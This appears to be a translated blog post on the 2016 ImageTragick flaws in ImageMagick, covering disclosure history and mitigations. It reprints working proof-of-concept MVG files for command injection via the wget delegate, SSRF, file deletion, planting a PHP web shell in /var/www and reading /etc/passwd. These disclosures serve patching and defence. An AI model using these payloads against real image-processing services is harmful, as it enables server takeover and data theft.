Many vulnerabilities in ImageMagick, one of which leads to RCE
A few hours ago, Ryan Huber from the Slack security department announced a critical vulnerability in the software used by many sites. This software turned out to be ImageMagick - a popular package for image processing.
A summary of vulnerabilities is available at imagetragick.com . Yes, this time, there was a name and site for the vulnerability, although initially Ryan wrote that there would be no pathos, including the name and site. (there is also twitter )

The vulnerability was discovered by stewie and revealed on hackerone on April 21 in the report, apparently, to Mail.ru, because about a week after that, Nikolai Ermishkin from the Mail security team found the opportunity to perform RCE. All of this, of course, was reported to the IM development team. They released a fix on April 30, but already on May 1 they were informed that the fix is a bit not fix. Therefore, on May 2, the vulnerability was disclosed in the mailing list of developers of IM-based packages, and on May 3 the vulnerability was publicly disclosed. A few hours later, a detailed description appeared on openwall with examples of exploits. But more about that below.
First of all, it is worth noting that your site is (probably) exposed to these vulnerabilities not only if you use IM directly, but also through various packages, including imagick in PHP, rmagick and paperclip in Ruby and imagemagick in nodejs.
How to protect yourself?
In order to at least somehow defend ourselves, it is proposed to do at least one of the following two things (or better, both).
- Before sending an image for processing in IM, check its “ magic bytes ” - a sequence of bytes by which programs determine the file format. Yes, the extension may not play any role, since IM itself determines the format by this sequence.
- enable a config that disables vulnerable decoders. The file should look like this ( updated version of May 5 )
Configs for IM usually lie in /etc/ImageMagick. alexkbs in the comments suggests what you can use convert -list policyto find out where the config is and see a list of current restrictions. For ansible they saw a playbook that adds this config .
As mentioned above, the patch for IM is already ready, but it is incomplete. The fact is that, as the researchers note, the vulnerability was found by hackers earlier and is already being exploited with might and main.
Vulnerability Details and Exploitation
From a post by Karim Valiev (Mail) on openwall.All PoC promise to be posted on https://github.com/ImageTragick/PoCs (404 so far). UPD : posted everything on https://github.com/ImageTragick/PoCs + a simple script for checking locally.
CVE-2016-3714 Insufficient character escaping leading to possible RCE
Here the problem is that IM has a feature delegatewith which IM allows you to process files with external libraries. This is essentially a system()command line call from the delegates.xml file. One of the default teams
"wget" -q -O "%o" "https:%M"
where% M is the link from the input stream. For example, you can skip https://example.com"|ls "-lathat will lead to execution ls -la(wget or curl must be installed).
$ convert 'https://example.com"|ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...Worst of all, IM supports formats like
svg, mvg, which allow you to include external files through any protocols supported by "delegates".
(exploit.mvg)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context(exploit.svg)
$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...It immediately reminded me of a recent vulnerability in ffmpeg found by cdump from the same Mail, by the way.
CVE-2016-3718 SSRF. It is possible to perform HTTP GET and FTP requests
(ssrf.mvg)
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context$ convert ssrf.mvg out.png # выполнится HTTP запрос к example.comCVE-2016-3715 Deleting Files
Using the pseudo-protocol, ephemeralit is possible to delete files.
(delete_file.mvg)
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context$ touch /tmp/delete.txt
$ convert delete_file.mvg out.png # удалит /tmp/delete.txtCVE-2016-3716 File Transfer
Another pseudo-protocol is used - msl.
(file_move.mvg)
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context(/tmp/msl.txt)
![]()
/tmp/image.gif- a picture with a PHP shell inside, for example, https://www.secgeek.net/POC/POC.gif .
$ convert file_move.mvg out.png # переместит /tmp/image.gif в /var/www/shell.phpCVE-2016-3717 Reading local files
Again a pseudo-protocol, this time label. You can render the contents of files into pictures.
(file_read.mvg)
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context$ convert file_read.mvg out.png # создаст файл с текстом из /etc/passwdMeta
- Dominique Bongard шутит, что предупреждал ещё в 2014 году. Вот так выглядит один из слайдов его доклада с BlackHat 2014:

HD Moore советует использующим движок MediaWiki переключить генерацию превьюшек с IM на GD
Seth Arnold пишет, что GraphicsMagick (форк IM, нацеленный на многопоточность и производительность), вероятно, подвержен тем же уязвимостям. Будем надеяться, команда GM проведёт аудит в ближайшие часы.
UPD от kukutz:автор GM просит дать ему рабочий эксплойт и советует использовать переменную окруженияMAGICK_CODER_STABILITY=PRIMARY- The authors of ImageTragick responded to the next claim to the name and logo for the vulnerability with statistics : a regular blog post - hundreds of hits per hour, a site with a stupid logo - thousands of hits per minute. When a vulnerability is already exploited this way (branding) seems to be quite justified.
The post will be supplemented with the advent of new details.